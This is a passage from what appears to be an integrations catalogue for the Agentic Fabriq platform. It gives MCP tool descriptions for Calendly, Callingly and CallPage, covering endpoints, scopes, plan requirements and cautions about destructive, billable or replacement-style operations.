no-show record, and the `cancel_url` / `reschedule_url` capability links described on calendly_list_event_invitees. Plan: Every plan. GET /api/v1/tools/calendly/event-invitee. Scopes: scheduled_events:read. calendly_get_event_type (read) — Return one event type in full: name, duration and duration options, description, colour, locations, custom questions, scheduling URL and whether it is hidden from the owner's main page. Read this before calendly_update_event_type — the update replaces only what it names, and this is where the current values come from. Plan: Every plan. GET /api/v1/tools/calendly/event-type. Scopes: event_types:read. calendly_get_group (read) — Return one group's name, organization and group-page URL. Plan: Standard (Professional), Teams, Teams Plus or Enterprise. GET /api/v1/tools/calendly/group. Scopes: groups:read. calendly_get_group_relationship (read) — Return one group relationship: which person, which group, and whether it is a membership or an admin record. Plan: Standard (Professional), Teams, Teams Plus or Enterprise. GET /api/v1/tools/calendly/group-relationship. Scopes: groups:read. calendly_get_invitee_no_show (read) — Return one no-show record: which invitee it marks and when it was created. Plan: Every plan. GET /api/v1/tools/calendly/invitee-no-show. Scopes: scheduled_events:read. calendly_get_meeting_recap (read) — Return one meeting recap: its summary, action items, discussion notes, attendees, meeting times and location. The recap's PUBLIC SHARE LINK is withheld — it is an unauthenticated URL that hands anyone holding it the whole recap with no Agentic Fabriq audit record — and replaced with a marker naming this tool. Read the words through here. Plan: A paid plan with the Calendly Notetaker add-on. GET /api/v1/tools/calendly/meeting-recap. Scopes: meeting_recaps:read. calendly_get_meeting_recap_transcript (read) — Return the plain-text transcript of a recorded meeting, one `Speaker: words` line per segment. This is everything everyone said, so grant it separately from the summary if the summary is all an agent needs. Plan: A paid plan with the Calendly Notetaker add-on. GET /api/v1/tools/calendly/meeting-recap-transcript. Scopes: meeting_recaps:read. calendly_get_organization (read) — Return one organization's name, plan stage and URI. Plan: Every plan. A Free user's account is still an organization of one. GET /api/v1/tools/calendly/organization. Scopes: organizations:read. calendly_get_organization_invitation (read) — Return one organization invitation: the email it was sent to, its status, when it was sent and when it was last updated. Plan: Every plan. Requires an admin or owner role. GET /api/v1/tools/calendly/organization-invitation. Scopes: organizations:read. calendly_get_organization_membership (read) — Return one membership: the user it belongs to, their role, and the organization. Plan: Every plan. GET /api/v1/tools/calendly/organization-membership. Scopes: organizations:read. calendly_get_routing_form (read) — Return one routing form in full, including every question it asks and their answer choices. Read it before interpreting a submission — a submission's answers are keyed to these questions. Plan: Teams, Teams Plus or Enterprise. GET /api/v1/tools/calendly/routing-form. Scopes: routing_forms:read. calendly_get_routing_form_submission (read) — Return one routing form submission in full: who submitted it, every answer they gave, the tracking parameters carried in, and the result — the event type they were routed to, the external URL they were sent to, or the custom message they were shown. Plan: Teams, Teams Plus or Enterprise. GET /api/v1/tools/calendly/routing-form-submission. Scopes: routing_forms:read. calendly_get_sample_webhook_data (read) — Return a synthetic example of the payload Calendly would POST for one webhook event type, scoped to an organization, user or group. Nothing is sent anywhere and no real customer data is returned — it is the shape, for building or debugging the receiving end. Plan: Standard, Teams or Enterprise. GET /api/v1/tools/calendly/sample-webhook-data. Scopes: webhooks:read. calendly_get_user (read) — Return one Calendly user's name, email, timezone, scheduling URL and organization. Pass the uuid from a user URI (the last path segment of https://api.calendly.com/users/XXXX), or the literal `me` for the connected account. Plan: Every plan, including Free. GET /api/v1/tools/calendly/user. Scopes: users:read. calendly_get_user_availability_schedule (read) — Return one availability schedule in full — its name, timezone and every weekly and date-specific rule with their intervals. Plan: Every plan. GET /api/v1/tools/calendly/user-availability-schedule. Scopes: availability:read. calendly_get_webhook_subscription (read) — Return one webhook subscription: its callback URL, the events it is subscribed to, whether it is active or disabled, its scope and who created it. The response carries no signing key — Calendly never returns one. Plan: Standard, Teams or Enterprise. GET /api/v1/tools/calendly/webhook-subscription. Scopes: webhooks:read. calendly_invite_user_to_organization (write) — Invite an email address to join a Calendly organization. Calendly emails the address a join link immediately, and that mail cannot be unsent — which is why an explicit confirmation token is required. Accepting the invitation consumes a paid SEAT on the organization's subscription, so this call costs the customer money. It IS reversible before acceptance: calendly_revoke_organization_invitation invalidates the link, and calendly_remove_user_from_organization removes the member afterwards. Plan: Every plan that has an organization. Requires an admin or owner role. POST /api/v1/tools/calendly/organization-invitations. Scopes: organizations:write. calendly_list_activity_log_entries (read) — List an organization's audit log: who did what, when, from where. Supports a search term with `|` (or) and `+` (and) operators, filtering by actor, action, namespace and time window. This is the diagnostic read that makes every other Calendly write supportable — it is the only place a change made by an agent, or by a person, can be traced afterwards. Plan: ENTERPRISE ONLY. Calendly's own FAQ names this as one of three Enterprise-gated endpoints; every other plan answers an error. The `activity_log:read` scope is OPTIONAL in Agentic Fabriq and is not requested unless an administrator asks for it. GET /api/v1/tools/calendly/activity-log-entries. Scopes: activity_log:read. calendly_list_contacts (read) — List Calendly Contacts, filtered on email, phone number, name, job title, company, city, state, country or timezone. Each contact carries its URI, every email and phone number on it, and its custom fields. This is the read that supplies a contact URI to calendly_get_contact, calendly_update_contact and calendly_delete_contact. Plan: Every plan on which Calendly Contacts is enabled. GET /api/v1/tools/calendly/contacts. Scopes: contacts:read. calendly_list_event_invitees (read) — List the people invited to one booked meeting, with each invitee's name, email, timezone, answers to the booking questions, UTM tracking and their invitee URI. The response also carries `cancel_url` and `reschedule_url`: unauthenticated Calendly links that let whoever holds them cancel or reschedule the meeting. Calendly puts the same two links in every confirmation email, and `reschedule_url` is the ONLY way to reschedule — Calendly publishes no reschedule endpoint — so they are returned rather than withheld. Treat them as capability links. Plan: Every plan. GET /api/v1/tools/calendly/event-invitees. Scopes: scheduled_events:read. calendly_list_event_type_availability_schedules (read) — Return the availability rules an event type books against, per host. READ THIS BEFORE calendly_update_event_type_availability_schedule: that call replaces the entire rule set, so this is the only place the current rules can be recovered from. Plan: Every plan. GET /api/v1/tools/calendly/event-type-availability-schedules. Scopes: availability:read. calendly_list_event_type_available_times (read) — List the bookable start times for one event type inside a date range. The range may be at most 31 days and start_time may not be in the past. This is the read that supplies `start_time` to calendly_create_event_invitee — booking a time this call did not return is refused by Calendly. Not paginated. Plan: Every plan. GET /api/v1/tools/calendly/event-type-available-times. Scopes: availability:read. calendly_list_event_type_hosts (read) — List the users who host one event type, with each host's user URI. Use it to find out who a round-robin or collective event type actually routes to before reading their availability. Plan: Every plan. GET /api/v1/tools/calendly/event-type-hosts. Scopes: event_types:read. calendly_list_event_types (read) — List the event types (the bookable meeting templates) belonging to a user or to an organization. EXACTLY ONE of `user` or `organization` is required — Calendly rejects a call with neither. Returns each event type's URI, name, duration, active flag, scheduling URL and kind. Every booking tool needs an event-type URI and this is where they come from. Plan: Every plan. `organization`-wide listing needs an admin or owner role. GET /api/v1/tools/calendly/event-types. Scopes: event_types:read. calendly_list_events (read) — List booked meetings, filtered by user, organization, group, invitee email, status or start-time window. Pass `user` alone for your own meetings across every organization you have belonged to. This returns Calendly bookings only — meetings booked directly on the underlying calendar are invisible here and show up in calendly_list_user_busy_times instead. Each event carries its URI, start and end time, status, location and the conference join link, INCLUDING any conference passcode the provider issued. Plan: Every plan. `organization` needs an admin or owner role; `group` needs an organization admin/owner or group admin. GET /api/v1/tools/calendly/events. Scopes: scheduled_events:read. calendly_list_group_relationships (read) — List who belongs to which group and who administers it. One owner has a single membership record but may hold several admin records, so this is the read that answers 'which groups can this person manage'. Plan: Standard (Professional), Teams, Teams Plus or Enterprise. GET /api/v1/tools/calendly/group-relationships. Scopes: groups:read. calendly_list_groups (read) — List an organization's groups, each with its URI and name. Groups are how Calendly organises members under admins; a group URI is what calendly_list_events and calendly_list_webhook_subscriptions take to narrow to one team. Plan: Standard (Professional), Teams, Teams Plus or Enterprise. Groups do not exist on Free. GET /api/v1/tools/calendly/groups. Scopes: groups:read. calendly_list_meeting_recaps (read) — List the AI meeting recaps this user can reach — Calendly-booked meetings and external ones alike — filtered by scheduled event, attendee email, date range or processing status. By default only recaps whose content is ready are returned. Each entry carries the recap URI needed by calendly_get_meeting_recap and calendly_get_meeting_recap_transcript. Any public share link Calendly issued for a recap is withheld from the response; read the content through these tools instead so the read is audited. Plan: A paid plan with the Calendly Notetaker add-on. GET /api/v1/tools/calendly/meeting-recaps. Scopes: meeting_recaps:read. calendly_list_organization_invitations (read) — List invitations sent to join an organization, filtered by email or status. Each entry carries the invited email address, its status and the invitation URI that calendly_revoke_organization_invitation takes. This is the read that shows whether an invitation an agent sent has been accepted. Plan: Every plan. Requires an admin or owner role. GET /api/v1/tools/calendly/organization-invitations. Scopes: organizations:read. calendly_list_organization_memberships (read) — List who is in an organization, with each member's role, user URI, name, email and the membership URI. This is the directory read: it supplies the user URIs every availability and event tool needs, and the membership URIs calendly_remove_user_from_organization and calendly_list_group_relationships take. It is also the second way to discover your own organization URI. Plan: Every plan. Listing the whole organization needs an admin or owner role. GET /api/v1/tools/calendly/organization-memberships. Scopes: organizations:read. calendly_list_outgoing_communications (read) — List the SMS and email messages Calendly sent on the organization's behalf in a time window, with each message's type, recipient and send time. This is the delivery-diagnostic read: when an invitee says they never got the confirmation, this is where the answer is. Plan: ENTERPRISE ONLY. The `outgoing_communications:read` scope is OPTIONAL in Agentic Fabriq and is not requested unless an administrator asks for it. GET /api/v1/tools/calendly/outgoing-communications. Scopes: outgoing_communications:read. calendly_list_routing_form_submissions (read) — List the submissions made to one routing form, each with its URI, submitter, questions and answers, tracking parameters and where the routing sent them. This is the lead-qualification feed: it contains everything a prospect typed into the form, so grant it with that in mind. Plan: Teams, Teams Plus or Enterprise. GET /api/v1/tools/calendly/routing-form-submissions. Scopes: routing_forms:read. calendly_list_routing_forms (read) — List an organization's routing forms with each form's URI, name and status. A routing form is the qualification questionnaire that decides which event type a lead is sent to; this read supplies the form URI calendly_list_routing_form_submissions takes. Plan: Teams, Teams Plus or Enterprise — routing forms are not available on Free or Standard. GET /api/v1/tools/calendly/routing-forms. Scopes: routing_forms:read. calendly_list_user_availability_schedules (read) — List a user's named availability schedules (Working Hours and any others) with each schedule's URI, timezone, default flag and its weekly rules. Not paginated. Plan: Every plan. GET /api/v1/tools/calendly/user-availability-schedules. Scopes: availability:read. calendly_list_user_busy_times (read) — List everything occupying a user's calendar in a date range, both Calendly bookings and external calendar events. The range may be at most 7 days and start_time may not be in the past. This is the read that answers 'when is this person free' — the busy blocks it returns include events booked outside Calendly, which calendly_list_events cannot see. Not paginated. Plan: Every plan. External-calendar events appear only for calendars with 'Check for conflicts' switched on. GET /api/v1/tools/calendly/user-busy-times. Scopes: availability:read. calendly_list_user_meeting_locations (read) — List the meeting locations a user has configured — which conferencing providers are connected, which phone and physical locations exist. Read it before creating or updating an event type: a location kind this account has not configured is rejected by Calendly. Not paginated. Plan: Every plan. GET /api/v1/tools/calendly/user-meeting-locations. Scopes: locations:read. calendly_list_webhook_subscriptions (read) — List the webhook subscriptions on an organization, user or group, with each one's callback URL, subscribed events, state and creator. This is the diagnostic read that answers 'where is our Calendly data being sent': a subscription somebody created months ago is still POSTing every booking to whatever URL it names, and this is the only way to see it. `organization` and `scope` are both required by Calendly. Plan: Standard, Teams or Enterprise — webhooks are not available on Free. Organization-scope listing needs an admin or owner role. GET /api/v1/tools/calendly/webhook-subscriptions. Scopes: webhooks:read. calendly_remove_user_from_organization (write, destructive) — DESTRUCTIVE — remove a member from a Calendly organization. The person becomes a solo account: their organization-scoped webhooks stop firing, they leave every group, and the organization loses visibility of anything they schedule afterwards. Their already-booked meetings survive and stay attached to the organization. The inverse is calendly_invite_user_to_organization, which sends a fresh invitation the person must accept again. Requires an explicit confirmation token. Plan: Every plan that has an organization. Requires an admin role; an organization OWNER cannot be removed at all. POST /api/v1/tools/calendly/organization-membership-remove. Scopes: organizations:write. calendly_revoke_organization_invitation (write) — Revoke an organization invitation that has not been accepted. The join link stops working immediately. This is the inverse of calendly_invite_user_to_organization and it is deliberately NOT confirmation-gated: it withdraws access rather than granting it, and making it harder to call than the invitation would be the wrong asymmetry. Plan: Every plan that has an organization. Requires an admin or owner role. POST /api/v1/tools/calendly/organization-invitation-revoke. Scopes: organizations:write. calendly_update_contact (write, destructive) — DESTRUCTIVE — update a contact. Ordinary fields (name, company, job title, location, LinkedIn, custom fields) are changed in place and need no confirmation. `emails` and `phone_numbers` are different: Calendly's own documentation warns that sending either OVERWRITES ALL EXISTING values for that contact, so a partial list silently deletes the rest. Naming either one therefore requires an explicit confirmation token; read the current list with calendly_get_contact first and send everything you want to keep. Plan: Every plan on which Calendly Contacts is enabled. PATCH /api/v1/tools/calendly/contact. Scopes: contacts:write. calendly_update_event_type (write) — Change a one-on-one event type's name, description, duration, colour, locale, locations or active flag. Only the fields named are changed. Reversible: read the current values with calendly_get_event_type first and write them back to undo. Setting `active` to false is how an event type is retired, because Calendly publishes no delete endpoint. Plan: Every plan. One-on-one (kind 'solo') event types only. PATCH /api/v1/tools/calendly/event-type. Scopes: event_types:write. calendly_update_event_type_availability_schedule (write, destructive) — DESTRUCTIVE — replace the availability rules an event type books against. Calendly's own documentation warns that updating rules OVERWRITES ALL EXISTING RULES for the event type; there is no merge and no restore. Read calendly_list_event_type_availability_schedules first and send the rules you want to keep. An admin may pass `user` to rewrite a COLLEAGUE'S schedule for this event type. Requires an explicit confirmation token naming the loss. Plan: Every plan. Passing `user` to change a colleague's schedule requires an admin or owner role. PATCH /api/v1/tools/calendly/event-type-availability-schedule. Scopes: availability:write. calendly_update_meeting_recap (write) — Rewrite a recap's summary, action items or discussion notes in Markdown. Only the sections named are changed. Reversible: read the current text with calendly_get_meeting_recap and write it back. Everyone who can see the recap sees the edit, including anyone holding its public share link. Plan: A paid plan with the Calendly Notetaker add-on. PATCH /api/v1/tools/calendly/meeting-recap. Scopes: meeting_recaps:write. ================================================================================ ## Callingly URL: https://www.agenticfabriq.com/integrations/callingly Section: Integrated Tools Callingly — 30 MCP tools Provider key: callingly. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. callingly_delete_agents_by_id (write, destructive) — Permanently delete one agent (Callingly user) from the account, removing them from every team they are on. This changes what the account is billed for. DELETE /api/v1/callingly/agents/{id}. Scopes: api. callingly_delete_clients_by_id (write, destructive) — Agency partners only: permanently delete a client account and everything under it. Prefer Set client active with is_active 0, which suspends the account reversibly. DELETE /api/v1/callingly/clients/{id}. Scopes: api. callingly_delete_leads_by_id (write, destructive) — Permanently delete one lead and its call history. Answers a JSON object whose success field is true. DELETE /api/v1/callingly/leads/{id}. Scopes: api. callingly_delete_teams_by_id_agents_by_agent_id (write, destructive) — Remove one agent from one team. The agent's own Callingly user is not deleted -- only their assignment to this team -- so they stop being rung for this team's calls. DELETE /api/v1/callingly/teams/{id}/agents/{agent_id}. Scopes: api. callingly_delete_webhooks_by_id (write, destructive) — Permanently delete one webhook, so Callingly stops posting that event to its target URL. Answers a JSON object whose message field confirms the deletion. DELETE /api/v1/callingly/webhooks/{id}. Scopes: api. callingly_get_agents (read) — List the account's agents (Callingly users), with each one's phone number and extension, timezone, ring priority, do-not-disturb state and whether they are currently available to take a call. Returns a `data` array plus a `count`. GET /api/v1/callingly/agents. Scopes: api. callingly_get_agents_by_id_schedule (read) — Retrieve one agent's weekly availability. Returns a bare JSON array of seven days, Sunday first, each with is_available and the time windows the agent can be called in; a window start may read allday. GET /api/v1/callingly/agents/{id}/schedule. Scopes: api. callingly_get_calls (read) — List Callingly calls, newest first, optionally narrowed to a date range or one team. Returns a paginated envelope: `data` holds the calls and `links`/`meta` carry Laravel's page cursors, so read `meta.last_page` to know whether to ask for another page. GET /api/v1/callingly/calls. Scopes: api. callingly_get_calls_by_call_id (read) — Retrieve one Callingly call by id, with its outcome, recording and lead. Returns the call's direction, status and lead status, ring status, duration in seconds, the agent who took it, the lead it reached, the team profile it ran under, any notes, and -- when Callingly recorded and processed the call -- recording_url, waveform_url, transcript and sales_advice. GET /api/v1/callingly/calls/{call_id}. Scopes: api. callingly_get_clients (read) — List the client accounts under an agency partner account. Returns a `data` array of clients, each with its numeric id -- the id to pass as account_id on the operations that accept one -- plus the client's name, email and the number of users and phone numbers it is billed for. An account that is not an agency partner gets an empty list. GET /api/v1/callingly/clients. Scopes: api. callingly_get_leads (read) — List leads, optionally narrowed to a date range or one phone number. Returns a bare JSON array (no `data` envelope -- unlike Get calls and Get teams), each lead carrying its owner, team, status, result, stage, tags, scheduled call time and the calls placed to it. GET /api/v1/callingly/leads. Scopes: api. callingly_get_leads_by_id (read) — Retrieve one lead by id, with its owner, team, status, result, stage, tags, scheduled call time and whether it is stopped or blocked from further calls. GET /api/v1/callingly/leads/{id}. Scopes: api. callingly_get_teams (read) — List the calling teams on the account. Returns a `data` array of teams, each with its numeric id, account id and name -- the ids other operations take as team_id. GET /api/v1/callingly/teams. Scopes: api. callingly_get_teams_by_id (read) — Retrieve one team's full calling configuration: call mode, the agent and lead whisper scripts and voice, the ring delay, the retry and lead-retry schedules, whether calls are recorded, whether reschedule is offered, and the team's SMS settings. GET /api/v1/callingly/teams/{id}. Scopes: api. callingly_get_teams_by_id_agents (read) — List the agents assigned to one team, with each agent's calling priority and call cap. Returns an object whose `agents` array holds the assignments -- its own envelope, not the `data` one the other list operations use. GET /api/v1/callingly/teams/{id}/agents. Scopes: api. callingly_get_webhooks (read) — List the account's webhooks. Returns a bare JSON array (no `data` envelope), each webhook with its id, name, event, target URL and the filters that narrow when it fires. GET /api/v1/callingly/webhooks. Scopes: api. callingly_get_webhooks_by_id (read) — Retrieve one webhook by id, with its event, target URL and filters. GET /api/v1/callingly/webhooks/{id}. Scopes: api. callingly_post_agents (write) — Add a new agent (Callingly user) to the account, with the phone number Callingly will ring. Adding a user changes what the account is billed for. POST /api/v1/callingly/agents. Scopes: api. callingly_post_calls (write) — PLACES A REAL PHONE CALL. Creates a lead in Callingly and immediately rings the team's agents to connect them to that person's phone number -- unless scheduled_at is set, which queues the call for later instead. This spends account call credits and dials a real number, so only invoke it when the user has asked for this specific person to be called. POST /api/v1/callingly/calls. Scopes: api. callingly_post_clients (write) — Agency partners only: create a new client account under this agency, with its first user. Callingly bills the agency for the account, so this changes what the agency is charged. POST /api/v1/callingly/clients. Scopes: api. callingly_post_clients_by_id_active (write) — Agency partners only: activate or deactivate a client account. A deactivated account stops placing and receiving calls and, on most plans, stops being billed; reactivating restores it. POST /api/v1/callingly/clients/{id}/active. Scopes: api. callingly_post_sms (write) — SENDS A REAL TEXT MESSAGE to a real phone number, from one of the account's Callingly numbers. This costs money and reaches a person, so only invoke it when the user has asked for this specific message to be sent. The message body may use Callingly's Liquid personalization tags, and US/Canada traffic needs the STOP opt-out sentence to stay compliant. POST /api/v1/callingly/sms. Scopes: api. callingly_post_teams (write) — Create a new calling team with its call mode, whisper script and retry schedules. The team can then be given agents with Set team agents and named as team_id when placing calls. POST /api/v1/callingly/teams. Scopes: api. callingly_post_webhooks (write) — Create a webhook so Callingly POSTs to a URL you control when a call completes or a lead is created or updated. The optional fields narrow when it fires and only apply to the event named: call_direction, call_status, call_lead_status, team_id and number_id are call_completed only, while field and filter are lead_created / lead_updated only. POST /api/v1/callingly/webhooks. Scopes: api. callingly_put_agents_by_id (write) — Update one agent's details, including the number Callingly rings and their do-not-disturb state. Setting donotdisturb stops this agent being rung until donotdisturb_until passes. PUT /api/v1/callingly/agents/{id}. Scopes: api. callingly_put_agents_by_id_schedule (write) — Replace one agent's whole weekly availability. The body is a JSON ARRAY of seven day objects, Sunday (day 0) through Saturday (day 6). This is a REPLACEMENT: a day left out of the array is not carried over, so send all seven. PUT /api/v1/callingly/agents/{id}/schedule. Scopes: api. callingly_put_leads_by_id (write) — Update one lead's details and call state. Setting is_stopped or is_blocked is what stops Callingly calling this person again, so this operation can end an in-progress call sequence. PUT /api/v1/callingly/leads/{id}. Scopes: api. callingly_put_teams_by_id_agents (write) — Replace a team's agent roster with exactly the agents listed. This is a REPLACEMENT, not an addition: an agent currently on the team and absent from the list is removed from it. PUT /api/v1/callingly/teams/{id}/agents. Scopes: api. callingly_put_teams_by_id_agents_by_agent_id (write) — Change one agent's calling priority and call cap within one team, without changing the rest of the roster. PUT /api/v1/callingly/teams/{id}/agents/{agent_id}. Scopes: api. callingly_put_webhooks_by_id (write) — Update one webhook. Partial updates are supported -- send only the fields to change, as Callingly's own sample body does. PUT /api/v1/callingly/webhooks/{id}. Scopes: api. ================================================================================ ## CallPage URL: https://www.agenticfabriq.com/integrations/callpage Section: Integrated Tools CallPage — 29 MCP tools Provider key: callpage. Scopes: api, calls.view, managers.edit, managers.view, sms.edit, sms.view, voice.edit, voice.view, widgets.call, widgets.edit, widgets.view. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. callpage_get_api_v1_external_managers_all (read) — Get All Managers. GET /api/v1/external/managers/all. Get managers for widget. `widget_id` is REQUIRED: without it CallPage answers 404 `model-not-found`, not a 400 (measured 2026-09-16), so a missing argument looks like a missing endpoint. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. GET /api/v1/callpage/api/v1/external/managers/all. Scopes: managers.view, widgets.view. callpage_get_api_v1_external_managers_get (read) — Get Manager. GET /api/v1/external/managers/get. Get manager by user_id and widget_id. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. GET /api/v1/callpage/api/v1/external/managers/get. Scopes: managers.view, widgets.view. callpage_get_api_v1_external_sms_all (read) — Get All SMSs. GET /api/v1/external/sms/all. `widget_id` is REQUIRED: without it CallPage answers 404 `model-not-found` rather than a 400 (measured 2026-09-16). Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. GET /api/v1/callpage/api/v1/external/sms/all. Scopes: sms.view, widgets.view. callpage_get_api_v1_external_users_all (read) — Get All Users. GET /api/v1/external/users/all. Get users. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. GET /api/v1/callpage/api/v1/external/users/all. Scopes: api. callpage_get_api_v1_external_users_get (read) — Get User. GET /api/v1/external/users/get. Get user by id. One of `id` or `email` must be given. With neither, CallPage answers 403 `user-access` -- a third shape again, and not a 400 (measured 2026-09-16). Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. GET /api/v1/callpage/api/v1/external/users/get. Scopes: api. callpage_get_api_v1_external_voice_all (read) — Get All Voice Messages. GET /api/v1/external/voice/all. Get voice messages. If no custom voice messages are created this method will return the default ones. `widget_id` is REQUIRED: without it CallPage answers 404 `model-not-found` rather than a 400 (measured 2026-09-16). Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. GET /api/v1/callpage/api/v1/external/voice/all. Scopes: voice.view, widgets.view. callpage_get_api_v1_external_widgets_all (read) — Get All Widgets. GET /api/v1/external/widgets/all. Get widgets for given user. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. GET /api/v1/callpage/api/v1/external/widgets/all. Scopes: widgets.view. callpage_get_api_v1_external_widgets_get (read) — Get Widget. GET /api/v1/external/widgets/get. Get widget by id. `widget_id` is REQUIRED: without it CallPage answers 404 `model-not-found` rather than a 400 (measured 2026-09-16). Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. GET /api/v1/callpage/api/v1/external/widgets/get. Scopes: widgets.view. callpage_get_api_v3_external_calls_by_call_id (read) — Get Single Call. GET /api/v3/external/calls/{call_id}. Get single call details. `call_id` is NUMERIC. A non-numeric value answers 404 with an empty body, which is CallPage's unmounted-route signature and reads as though the endpoint did not exist (measured 2026-09-16). Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. GET /api/v1/callpage/api/v3/external/calls/{call_id}. Scopes: calls.view. callpage_get_api_v3_external_calls_history (read) — Get History. GET /api/v3/external/calls/history. The array filters are sent to CallPage in its own `name[]=value` form; pass them here as ordinary lists. `tel` and `widget_id` are CallPage's own deprecated spellings of `phone_number` and `widget_ids`. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. GET /api/v1/callpage/api/v3/external/calls/history. Scopes: calls.view. callpage_patch_api_v1_external_calls_by_call_fields_by_field (write) — Update Field. PATCH /api/v1/external/calls/{call}/fields/{field}. Example request: Response: Updates or sets a field value. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. PATCH /api/v1/callpage/api/v1/external/calls/{call}/fields/{field}. Scopes: api. callpage_post_api_v1_external_managers_create (write) — Create Manager. POST /api/v1/external/managers/create. Create manager. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. POST /api/v1/callpage/api/v1/external/managers/create. Scopes: managers.edit, widgets.edit. callpage_post_api_v1_external_managers_delete (write, destructive) — Delete Manager. POST /api/v1/external/managers/delete. Delete manager. IRREVERSIBLE: this removes a manager from a widget permanently, along with that manager's business-hours schedule for it. CallPage spells it as a POST to a `/delete` path rather than an HTTP DELETE. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. POST /api/v1/callpage/api/v1/external/managers/delete. Scopes: managers.edit, widgets.edit. callpage_post_api_v1_external_managers_update (write) — Update Manager. POST /api/v1/external/managers/update. Update manager. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. POST /api/v1/callpage/api/v1/external/managers/update. Scopes: managers.edit, widgets.edit. callpage_post_api_v1_external_sms_create (write) — Create SMS. POST /api/v1/external/sms/create. Create custom SMS. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. POST /api/v1/callpage/api/v1/external/sms/create. Scopes: sms.edit, widgets.edit. callpage_post_api_v1_external_sms_reset (write) — Reset SMS. POST /api/v1/external/sms/reset. Reset SMS. If no message_id is provided this method will reset all SMSs to default ones. Omitting `message_id` resets EVERY SMS template on the widget to its default, not just one. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. POST /api/v1/callpage/api/v1/external/sms/reset. Scopes: sms.edit, widgets.edit. callpage_post_api_v1_external_sms_update (write) — Update SMS. POST /api/v1/external/sms/update. Update custom SMS. It is impossible to update default SMS - if you did not create custom SMS yet use this endpoint. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. POST /api/v1/callpage/api/v1/external/sms/update. Scopes: sms.edit, widgets.edit. callpage_post_api_v1_external_users_create (write) — Create User. POST /api/v1/external/users/create. Create user. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. POST /api/v1/callpage/api/v1/external/users/create. Scopes: api. callpage_post_api_v1_external_users_delete (write, destructive) — Delete User. POST /api/v1/external/users/delete. Delete user by id. IRREVERSIBLE: this removes a CallPage user permanently; the account, its manager assignments and its caller id go with it. CallPage spells it as a POST to a `/delete` path rather than an HTTP DELETE. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. POST /api/v1/callpage/api/v1/external/users/delete. Scopes: api. callpage_post_api_v1_external_users_update (write) — Update User. POST /api/v1/external/users/update. Update user by id. This operation can override parent user, depending on who makes the request! Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. POST /api/v1/callpage/api/v1/external/users/update. Scopes: api. callpage_post_api_v1_external_voice_create (write) — Create Voice Message. POST /api/v1/external/voice/create. Create custom voice message. The file parameter should contain the valid URL with file. This file should meet the following conditions: Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. POST /api/v1/callpage/api/v1/external/voice/create. Scopes: voice.edit, widgets.edit. callpage_post_api_v1_external_voice_reset (write) — Reset Voice Message. POST /api/v1/external/voice/reset. Reset custom voice message. If no message_id is provided this method will reset all voice messages to default ones. Omitting `message_id` resets EVERY voice message on the widget to its default, not just one. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. POST /api/v1/callpage/api/v1/external/voice/reset. Scopes: voice.edit, widgets.edit. callpage_post_api_v1_external_voice_update (write) — Update Voice Message. POST /api/v1/external/voice/update. Update existing custom voice message. It is impossible to update default message - if you did not create custom message yet use this endpoint. The file parameter should contain the valid URL with file. This file should meet the following conditions: Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. POST /api/v1/callpage/api/v1/external/voice/update. Scopes: voice.edit, widgets.edit. callpage_post_api_v1_external_widgets_add_users (write) — Add Users. POST /api/v1/external/widgets/add-users. Add users to widget. This method will create a manager for each provided user_id. For user_id array there should be 